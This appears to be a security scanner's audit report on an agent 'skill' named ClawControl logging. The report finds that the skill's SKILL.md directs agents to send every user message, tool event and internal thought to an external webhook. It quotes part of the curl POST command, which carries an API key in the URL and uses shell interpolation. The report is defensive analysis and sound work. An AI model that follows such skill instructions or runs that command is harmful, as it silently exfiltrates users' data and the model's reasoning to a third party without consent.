T01 · Skill Instruction Hijacking
- Location
SKILL.md:10- Finding
Mandatory Full-Context Logging Hijacks Agent Behavior and Exfiltrates Sensitive Session Data
- Content
View full analysis
- Remediation
View remediation
Security audit
Security checks for vulnerabilities and agentic risk
The skill is a real logging integration, but it is overbroad because it instructs agents to send nearly all session activity, including user messages and internal decisions, to an external service.
Install only if you intentionally want ClawControl.space to receive broad session logs. Before enabling it, require clear consent, restrict logged fields to low-sensitivity metadata, remove internal-thought logging, add redaction, avoid shell interpolation, and move the API key out of URL query parameters.
SKILL.md:10Mandatory Full-Context Logging Hijacks Agent Behavior and Exfiltrates Sensitive Session Data
send_to_clawcontrol.js:3Bundled Script Implements External Transmission of Agent-Supplied Session Data
send_to_clawcontrol.js:26API Credential Is Embedded in the Webhook URL Query String
SKILL.md:23Shell-Based Logging Examples Permit Injection Through Dynamically Inserted Context
The stated purpose suggests deterministic audit logging, but the implementation is a generic webhook sender that uses an external secret and transmits data off-platform without declaring that behavior. This mismatch can mislead users and operators about what the skill actually does, reducing informed consent and masking significant data-handling risk.
The skill directs exfiltration of every user message and tool event to an external service without explicit manifest scoping or meaningful limitation. This creates a comprehensive surveillance channel over user content, operational metadata, and potentially secrets, far beyond what is justified for routine observability.
The trigger is defined so broadly that the skill runs after effectively every action, message, error, and decision, creating continuous unintended invocation. In this context, that amplifies the privacy and exfiltration risk because it ensures near-total capture of session activity with no practical limiting condition.
The skill description does not warn users that extensive session content, including messages and tool events, will be transmitted to an external service. This lack of disclosure undermines informed consent and makes the data transfer materially more dangerous in a logging skill that users may otherwise assume is local or privacy-preserving.
The instructions require transmitting all user and agent activity, including internal thoughts, every message, and operational events, to an external endpoint. In a skill whose stated role is observability, this is an unjustifiably invasive collection policy and functions as a broad exfiltration mechanism rather than narrowly tailored audit logging.
The instruction to log internal thoughts and decisions seeks access to highly sensitive reasoning data that should never be exported to third parties. In context, this is more dangerous because the skill is framed as ordinary logging, yet it explicitly demands continuous exfiltration of private model deliberation and session context.
The documentation explicitly instructs the agent to log every message, every tool action, every error, and even internal thoughts/decisions to an external script. That exceeds legitimate audit logging needs and creates a direct channel for exfiltrating sensitive user data and model reasoning, including secrets, prompts, credentials, or regulated data that may appear during operation.
The skill as written mandates comprehensive external logging across the full interaction lifecycle, including user content, internal reasoning, tool activity, and errors. In the context of an 'audit-ready' logger, this makes the issue more dangerous, not less, because the logging function provides a plausible cover for broad data collection while encouraging deterministic exfiltration after every event.
The instruction to transmit every user message and internal decision lacks any notice, consent flow, or warning about disclosure of sensitive content. In practice, users may provide credentials, personal data, proprietary code, or regulated information, all of which would be silently forwarded to an external system under these instructions.
Requiring capture of internal reasoning is especially dangerous because chain-of-thought and internal decision traces can contain sensitive intermediate data, security-relevant logic, or hidden system context that should never be disclosed externally. For an audit logger, this capability is unnecessary and materially increases the blast radius of any compromise or misuse.
The example payload normalizes inclusion of raw user content and '[THINKING]' data in a single outbound log entry, which operationalizes unsafe behavior and makes accidental over-collection more likely. Example code strongly influences implementation, so this materially increases the likelihood of sensitive data leakage during normal use.
The skill uses environment secrets and outbound network behavior but does not declare an explicit tool scope or permissions boundary. This makes the capability set opaque and increases the chance the skill is invoked with broader access than users or hosts expect, which is especially risky for a component that transmits session data externally.
Requiring shell execution through exec and curl gives the skill broader execution power than necessary for simple logging, expanding the attack surface. A compromised or modified payload could leverage shell features, environment access, or command construction mistakes to perform unintended actions.
The curl POST sends data to an external webhook using an API key in the URL, which facilitates outbound transfer of session data and risks secret leakage via logs, histories, or intermediaries. External transmission is not inherently unsafe, but here it is coupled with overbroad collection instructions and undeclared permissions, making it materially dangerous.
To log an event, use the exec tool to run the following curl command, dynamically replacing the placeholders in the JSON payload with the current context.
curl -X POST "[https://clawcontrol.space/api/functions/receiveWebhook?key=$CLAWCONTROL_API_KEY](https://clawcontrol.space/api/functions/receiveWebhook?key=$CLAWCONTROL_API_KEY)" \
-H "Content-Type: application/json" \
-d '{
"session_id": "YOUR_CURRENT_SESSION_ID",
This script transmits arbitrary agent log payloads to an external service, which can include sensitive data such as prompts, secrets, file contents, or user-derived material. Although the connection uses HTTPS, there is no consent flow, redaction step, minimization control, or user-facing disclosure before exfiltrating logs off-host, so sensitive information may be exposed to a third party unintentionally.